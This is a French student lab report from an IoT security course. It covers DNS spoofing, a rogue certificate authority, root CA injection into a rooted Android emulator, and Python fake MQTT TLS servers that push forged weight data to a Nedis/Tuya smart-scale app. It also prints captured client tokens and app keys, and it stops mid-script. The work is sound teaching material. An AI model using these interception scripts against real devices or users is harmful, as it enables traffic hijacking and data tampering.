SE5 IdO sécurité des objets 2025/2026 b1

De wiki-se.plil.fr
Aller à la navigation Aller à la recherche

1107px-Titre page.png

Serveur virtuel (17/09)

Dans un premier temps, on vient créer un serveur virtuel sur capbreton avec la commande xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents

Ensuite, sur capbreton dans le dossier /etc/network/interfaces.d on vient créer un fichier g1_vdetrez pour mettre en place une nouvelle interface dans le VLAN 410.

auto Trunk.410
iface Trunk.410 inet manual
        vlan-raw-device Trunk
        up ip link set $IFACE up
        down ip link set $IFACE down

auto g1_vdetrez
iface g1_vdetrez inet manual
	bridge_ports Trunk.410
	up ip link set $IFACE up 
	down ip link set $IFACE down

On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre "." à la place de "-") et on vient y configurer nos adresses IPv4.

Mon adresse IPv4 routée est la 172.26.145.100 et mon IPv4 dans le VLAN 410 est 172.16.10.0

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
	address 172.26.145.110
	netmask 255.255.255.0
	gateway 172.26.145.251
# post-up ethtool -K eth0 tx off


auto eth1
iface eth1 inet static
	address 172.16.10.0/24
#
# The commented out line above will disable TCP checksumming which
# might resolve problems for some users.  It is disabled by default
#

On vérifie avec la commande ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr 
       valid_lft 853sec preferred_lft 753sec
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr 
       valid_lft 2591853sec preferred_lft 604653sec
    inet6 fe80::216:3eff:fe23:7441/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::216:3eff:fe23:7442/64 scope link 
       valid_lft forever preferred_lft forever

Et on constate que notre serveur a accès à Internet avec la commande ping 8.8.8.8

Point d'accès WiFi et sécurisation WiFi par WPA2-PSK (29/09)

Pour communiquer avec le routeur Cisco, on branche le port série en USB et on se connecte avec la commande minicom -D /dev/ttyUSB0 -b 9600. La première étape fut la création du SSID SE5-SSID10.

dot11 ssid SE5-SSID10

vlan 410

authentication open

authentication key-management wpa version 2

wpa-psk ascii Cisco2025

exit

Puis, on configure l'interface Dot11Radio0

interface dot11radio 0

encryption mode ciphers aes-ccm

ssid SE5-SSID10

station-role root

no shutdown

Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans /etc/dhcp/dhcpd.conf

# dhcpd.conf

option domain-name "plil.info";
option domain-name-servers ns.plil.info;

default-lease-time 600;
max-lease-time 7200;

ddns-update-style none;

authoritative;

subnet 172.16.10.0 netmask 255.255.255.0 {
  range 172.16.10.100 172.16.10.200;
  option domain-name-servers 172.16.10.1;
  option routers 172.16.10.1;
  default-lease-time 600;
  max-lease-time 7200;
}

Puis, on implémente un serveur DNS minimal dans le fichier /etc/bind/named.conf.options

options {
        directory "/var/cache/bind";

        recursion yes;
        allow-query {172.16.10.0/24; 127.0.0.1;};

         forwarders {
                8.8.8.8;
                1.1.1.1;
         };

        dnssec-validation auto;

        listen-on {127.0.0.1; 172.16.10.1;};
        listen-on-v6 { none; };
};

Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.

Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0

Interception de flux (30/09)

Redirection par DNS

Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.

Ici, ce sera le merveilleux moodle.com

D'abord, on modifie /etc/bind/named.conf.local

//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

zone "moodle.com" {
        type master;
        file "/etc/bind/db.moodle.com";
};

Puis, on crée la fameuse zone db.moodle.com dans le même répertoire

$TTL    200
@       IN      SOA     ns.moodle.com. admin.moodle.com. (
                        5       ;
                        3600    ;
                        1800    ;
                        604800  ;
                        86400   ;
)
        IN      NS      ns.moodle.com.
ns      IN      A       172.16.10.1
@       IN      A       172.16.10.1
www     IN      CNAME   ns

Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :

sudo named-checkconf

sudo named-checkzone moodle.com /etc/bind/db.moodle.com

Redirection réseau

Dans cette partie, on ajoute une règle iptables pour rediriger le flux TCP vers un port local, le 8080.

iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080

Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0

Serveur apache sécurise (04/10)

Dans un premier temps, on va créer un certificat auto-signé :

openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj "/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com"

Puis, on configure Apache2

  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf
<VirtualHost *:443>
    ServerName moodle.com

    DocumentRoot /var/www/html

    SSLEngine on
    SSLCertificateFile /etc/ssl/apache/apache.crt
    SSLCertificateKeyFile /etc/ssl/apache/apache.key

    # Optionnel : log
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined
</VirtualHost>

# Redirection HTTP  ^f^r HTTPS
<VirtualHost *:80>
    ServerName moodle.com
    Redirect permanent / https://moodle.com/
</VirtualHost>

Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :

openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj "/CN=CertiFiable"

Puis, on vient générer une demande de signature de certificat :

openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj "/CN=moodle.com"

Enfin, on vient signer le site avec le certificat de CertiFiable :

openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256

Machine virtuelle android

Première tentative

Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sur le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommée CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :

Avertissement moodle.pngMoodle le magnifique.png


Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.

C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'Android où il était possible d'en ajouter.

En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible).

J'ai installé VNC Viewer pour pouvoir manipuler la machine virtuelle.

En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du PC qui est simulée comme un réseau WiFi dans la VM.

J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...

La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.

Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.

Seconde tentative

Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.

qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370

J'ai pu donc pu faire face:

- À un ISO sans les services Google et sans navigateur ...

- Un trop ancien pour Nedis

- Un qui refuse l'installation d'APK

- Un trop récent pour l'installation de certificat.

- Un qui refuse de se laisser root

En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.

Ultime tentative (qui marche)

Cette fois-ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.

Dans un premier temps, j'ai donc routé mon téléphone avec l'utilitaire Magisk en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&t=374s.

Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque démarrage du téléphone le certificat en question.

Le certificat peut être ajouté dans le téléphone en utilisant la commande adb push xyzxyzxyz.0 .

La manipulation est la suivante :

adb shell
su
cd /data/adb/modules/
mkdir -p tuya_cert/system/etc/security/cacerts
echo "id=tuya_cert" > tuya_cert/module.prop echo "name=Tuya Certificate Injection" >> tuya_cert/module.prop echo "version=1.0" >> tuya_cert/module.prop echo "versionCode=1" >> tuya_cert/module.prop echo "author=Victo" >> tuya_cert/module.prop echo "description=Injecte le certificat Tuya dans le systeme" >> tuya_cert/module.prop
touch tuya_cert/auto_mount
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0
reboot

On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé.

Machine Android (06/10)

Pour cette dernière partie, j'ai retrouvé une tablette sous Android 4.4 KitKat qui permet d'ajouter des autorités de certification.

C'est donc ce que j'ai fait :

Photo certifiable.png

Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.

Photo moodle.png

(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)

Nedis Wi-Fi Smart Personal Scales

Dans ce second TP, nous allons jouer avec ce pèse-personne de nedis.

Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.

Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.

Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.

Pour la suite du projet, on se pèsera avec les mains.

Poid sur app nedis.png

Redirection du poids vers notre serveur

Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur.

Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment où elle l'obtient.


WS connection balance.png

Je peux donc ping ma balance depuis mon PC (celui qui host ma VM Android)

PIng balance.png

Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire, je fais tcpdump -i eth1 -n port 53 :

14:46:51.115996 IP 172.16.10.105.49153 > 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)
14:46:51.125611 IP 172.16.10.1.53 > 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)
14:46:51.168250 IP 172.16.10.105.49153 > 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)
14:46:51.177967 IP 172.16.10.1.53 > 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)
14:46:51.703179 IP 172.16.10.102.57661 > 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)
14:46:51.706085 IP 172.16.10.102.57662 > 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)
14:46:51.713159 IP 172.16.10.1.53 > 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)
14:46:51.715736 IP 172.16.10.1.53 > 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)

56 packets captured
56 packets received by filter
0 packets dropped by kernel
[4343449.827028] device eth1 left promiscuous mode

Visiblement notre balance communique avec Tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.


Maintenant, on refait une config similaire à moodle.com, une zone "tuyaeu.com" dans le fichier de conf de Bind, un fichier db.tuyaeu.com et une page Apache. Enfin on vient la signer avec notre autorité de certification.

tcpdump -i eth1 -n port 53 :

12:30:58.490060 IP 172.16.10.105.49153 > 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)
12:30:58.490174 IP 172.16.10.1.53 > 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)
12:30:58.540041 IP 172.16.10.105.49153 > 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)
12:30:58.540132 IP 172.16.10.1.53 > 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)

Maintenant on constate que, quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. On va créer un faux serveur pour déchiffrer ce que nous dit la balance.

root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug
Using default temp DH parameters
ACCEPT
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes => 5 (0x5))
0000 - 16 03 03 00 3e                                    ....>
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes => 62 (0x3E))
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes => 7 (0x7))
0000 - 15 03 03 00 02 02 28                              ......(
ERROR
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:
shutting down SSL
CONNECTION CLOSED
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes => 5 (0x5))
0000 - 16 03 03 00 3e                                    ....>
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes => 62 (0x3E))
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes => 7 (0x7))
0000 - 15 03 03 00 02 02 28                              ......(
ERROR
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:
shutting down SSL
CONNECTION CLOSED

On constate que, dès que la balance tente de se connecter, elle ferme la connexion pour cause "no shared cipher".

Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisqu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.

Il faudrait réussir à injecter le certificat dans la balance en communiquant directement avec elle.

Envoi de fausses informations vers l'application

Dans cette partie, nous allons tenter d'envoyer un poids à l'application depuis notre serveur.

L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:

(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53

...

11:59:46.829382 IP 172.16.10.102.53314 > 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0
11:59:47.005041 IP 172.16.10.102.54915 > 172.16.10.255.54915: UDP, length 263
11:59:47.295737 IP 172.16.10.102.53313 > 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
11:59:47.346713 IP 172.16.10.102.53315 > 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
11:59:47.347853 IP 172.16.10.102.53315 > 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0
11:59:47.534641 IP 172.16.10.102.53318 > 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0

...

11:59:48.189587 IP 172.16.10.102.53319 > 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30
11:59:48.190681 IP 172.16.10.102.53319 > 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0
11:59:48.256593 IP 172.16.10.102.53319 > 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0
11:59:48.324124 IP 172.16.10.102.53313 > 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0

On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.

Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.

Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.

import socket
import ssl

CERT_FILE = "/etc/apache2/ssl/tuya.crt" 
KEY_FILE  = "/etc/apache2/ssl/tuya.key"  
PORT = 8883

def start_server():
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    try:
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)
    except Exception as e:
        print(f"impossible de charger les clés SSL\n{e}")
        return

    bindsocket = socket.socket()
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    bindsocket.bind(('0.0.0.0', PORT))
    bindsocket.listen(5)

    print(f"faux Serveur MQTT en écoute sur le port {PORT}...")
    print("en attente de l'application Android...")

    while True:
        try:
            newsocket, fromaddr = bindsocket.accept()
            print(f"\nconnexion TCP reçue de {fromaddr[0]}")
            
            try:
                conn = context.wrap_socket(newsocket, server_side=True)
                print(f"handshake SSL réussi")
                
                data = conn.recv(1024)
                print(f"données reçues ({len(data)} octets) :")
                print(data)
                
            except ssl.SSLError as e:
                print(f"échec SSL rejet du certificat.\n{e}")
            except Exception as e:
                print(f"erreur de lecture : {e}")
            finally:
                pass

        except KeyboardInterrupt:
            print("\narrêt.")
            break

if __name__ == '__main__':
    start_server()
connexion TCP reçue de 172.16.10.102
handshake SSL réussi
données reçues (529 octets) :
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00<\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{"clie
ntId":"com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT","deviceType":"ANDROID","message":"","userName":"e5a1220d6003e352f8b34a81
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc"}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c
a5a77b82c5ad'

On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application. On tente donc d'envoyer en clair le poids vers l'application de Nedis

(test) root@SE5:~/py_file# cat fake_serv2.py 
import socket
import ssl
import time
import json
import struct

# ================= CONFIGURATION =================
CERT_FILE = "/etc/ssl/apache/ssl/tuya.crt"
KEY_FILE  = "/etc/ssl/apache/ssl/tuya.key"
PORT = 8883

PAYLOAD_POIDS = {
    "protocol": 4,
    "t": int(time.time()),
    "data": {
        "dps": {
            "1": 8050,
            "2": True,
            "3": "kg"
        }
    }
}
# =================================================


def encode_remaining_length(length):
    out = bytearray()
    while True:
        byte = length % 128
        length //= 128
        if length > 0:
            byte |= 0x80
        out.append(byte)
        if length == 0:
            break
    return out


def create_mqtt_packet(pkt_type, flags, payload):
    header = bytes([(pkt_type << 4) | flags])
    return header + encode_remaining_length(len(payload)) + payload


def start_server():
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)

    sock = socket.socket()
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(("0.0.0.0", PORT))
    sock.listen(5)

    print(f"[*] Serveur MQTT TLS prêt sur {PORT}")

    while True:
        client, addr = sock.accept()
        print(f"\n[+] Connexion de {addr[0]}")

        try:
            conn = context.wrap_socket(client, server_side=True)
            print("TLS OK")

            while True:
                header = conn.recv(1)
                if not header:
                    break

                pkt_type = header[0] >> 4

                # Remaining length
                multiplier = 1
                remaining_len = 0
                while True:
                    b = conn.recv(1)[0]
                    remaining_len += (b & 127) * multiplier
                    multiplier *= 128
                    if not (b & 128):
                        break

                payload = b""
                while len(payload) < remaining_len:
                    payload += conn.recv(remaining_len - len(payload))

                # ================= HANDLERS =================

                # CONNECT
                if pkt_type == 1:
                    print(">>> CONNECT reçu")
                    conn.send(b"\x20\x02\x00\x00")
                    print("<<< CONNACK envoyé")

                # SUBSCRIBE
                elif pkt_type == 8:
                    msg_id = payload[0:2]
                    topic_len = struct.unpack("!H", payload[2:4])[0]
                    topic = payload[4:4+topic_len].decode(errors="ignore")

                    print(f">>> SUBSCRIBE : {topic}")

                    # SUBACK (QoS 1 accepté)
                    suback_payload = msg_id + b"\x01"
                    conn.send(create_mqtt_packet(9, 0x00, suback_payload))
                    print("<<< SUBACK OK")

                    # Mapping OUT -> IN
                    pub_topic = topic.replace("/out/", "/in/")
                    print(f"Publication sur : {pub_topic}")

                    time.sleep(0.5)

                    json_payload = json.dumps(PAYLOAD_POIDS)
                    topic_bytes = pub_topic.encode()

                    var_header = struct.pack("!H", len(topic_bytes)) + topic_bytes
                    packet_payload = var_header + json_payload.encode()

                    # PUBLISH QoS 1
                    packet = create_mqtt_packet(3, 0x02, packet_payload)
                    conn.send(packet)

                    print(f"Payload envoyé (NON chiffré)")

                # PINGREQ
                elif pkt_type == 12:
                    conn.send(b"\xd0\x00")

                else:
                    print(f"Packet MQTT type {pkt_type} ignoré")

        except Exception as e:
            print(f"Erreur connexion : {e}")

        finally:
            try:
                conn.close()
            except:
                pass


if __name__ == "__main__":
    start_server()

On cherche dans le fichier shared_prefs situé dans /data/data/com.nedis.smartlife sur la VM android une clé local qui permettrai de chiffrer le message pour que Nedis l'accepte.

 emulator64_x86_64_arm64:/data/data/com.nedis.smartlife/shared_prefs # grep -r "localKey"

./sig_mesh_storage.xml:    <string name="sig_mesheu176237y8062605m7Ddzpr3a6d803edeb314f364c55d2caab540918">[{&quot;appkey&quot;:&quot;2FC5C9F42A44F9D243F960231C370DC6&quot;,&quot;code&quot;:&quot;mebf11e37fc6632a9b44qg&quot;,&quot;endTime&quot;:0,&quot;ivIndex&quot;:0,&quot;key&quot;:&quot;mebf11e37fc6632a9b44qg&quot;,&quot;localKey&quot;:&quot;674d29fb978a1705&quot;,&quot;meshId&quot;:&quot;mebf11e37fc6632a9b44qg&quot;,&quot;meshKey&quot;:&quot;2FC5C9F42A44F9D243F960231C370DC6&quot;,&quot;meshkey&quot;:&quot;2FC5C9F42A44F9D243F960231C370DC6&quot;,&quot;name&quot;:&quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&quot;,&quot;netWorkkey&quot;:&quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&quot;,&quot;password&quot;:&quot;fa1667ca872e46d4&quot;,&quot;pv&quot;:&quot;2.1&quot;,&quot;resptime&quot;:0,&quot;share&quot;:false,&quot;startTime&quot;:0,&quot;tempShare&quot;:false}]</string>

Je vais apprendre plus tard que cette clé est une clé qui permet de sécuriser l'échange Bluetooth entre la balance et le téléphone lors de la première connexion. Mais avant de le savoir, j'ai tenté d'améliorer le faux serveur avec cette clé.

#!/usr/bin/env python3
import socket
import ssl
import time
import json
import struct
import base64
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# ================= CONFIG =================
CERT_FILE = "/etc/ssl/apache/ssl/tuya.crt"
KEY_FILE  = "/etc/ssl/apache/ssl/tuya.key"
PORT = 8883

# LOCAL KEY 16 caractères
LOCAL_KEY = b"674d29fb978a1705"

# DPS balance (poids correct pour Nedis)
DPS_POIDS = {
    "1": 8050,   # 80.50 kg
    "2": 1,      # stable
    "3": "kg"
}
# =========================================

# ---------- TUYA CRYPTO ----------
def tuya_encrypt(data: dict, local_key: bytes) -> str:
    raw = json.dumps(data, separators=(',', ':')).encode()
    cipher = AES.new(local_key, AES.MODE_ECB)
    encrypted = cipher.encrypt(pad(raw, 16))
    return base64.b64encode(encrypted).decode()

def tuya_sign(enc_data: str, ts: int, local_key: bytes) -> str:
    s = f"data={enc_data}&t={ts}&key={local_key.decode()}"
    return hashlib.md5(s.encode()).hexdigest()

def build_tuya_payload(dps: dict, device_id: str) -> dict:
    ts = int(time.time())
    enc = tuya_encrypt({
        "devId": device_id,
        "dps": dps
    }, LOCAL_KEY)
    sign = tuya_sign(enc, ts, LOCAL_KEY)
    return {
        "protocol": 4,
        "t": ts,
        "data": enc,
        "sign": sign
    }

def extract_device_id(topic: str) -> str:
    return topic.split("/")[-1]

# ---------- MQTT UTILS ----------
def encode_remaining_length(length):
    out = bytearray()
    while True:
        byte = length % 128
        length //= 128
        if length > 0:
            byte |= 0x80
        out.append(byte)
        if length == 0:
            break
    return out

def create_mqtt_packet(pkt_type, flags, payload):
    header = bytes([(pkt_type << 4) | flags])
    return header + encode_remaining_length(len(payload)) + payload

# ---------- SERVER ----------
def start_server():
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)

    sock = socket.socket()
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(("0.0.0.0", PORT))
    sock.listen(5)

    print(f"[*] Serveur MQTT TLS Tuya prêt sur {PORT}")

    published_topics = set()

    while True:
        client, addr = sock.accept()
        print(f"\n[+] Connexion de {addr[0]}")

        try:
            conn = context.wrap_socket(client, server_side=True)
            print("TLS OK")

            while True:
                header = conn.recv(1)
                if not header:
                    break

                pkt_type = header[0] >> 4

                # Remaining length
                multiplier = 1
                remaining_len = 0
                while True:
                    b = conn.recv(1)[0]
                    remaining_len += (b & 127) * multiplier
                    multiplier *= 128
                    if not (b & 128):
                        break

                payload = b""
                while len(payload) < remaining_len:
                    payload += conn.recv(remaining_len - len(payload))

                # -------- HANDLERS --------
                if pkt_type == 1:  # CONNECT
                    print(">>> CONNECT")
                    conn.send(b"\x20\x02\x00\x00")  # CONNACK OK

                elif pkt_type == 8:  # SUBSCRIBE
                    msg_id = payload[0:2]
                    topic_len = struct.unpack("!H", payload[2:4])[0]
                    topic = payload[4:4+topic_len].decode(errors="ignore")

                    print(f">>> SUBSCRIBE : {topic}")
                    conn.send(create_mqtt_packet(9, 0x00, msg_id + b"\x01"))  # SUBACK QoS 1

                    # Publication automatique
                    device_id = extract_device_id(topic)
                    tuya_payload = build_tuya_payload(DPS_POIDS, device_id)
                    json_payload = json.dumps(tuya_payload)

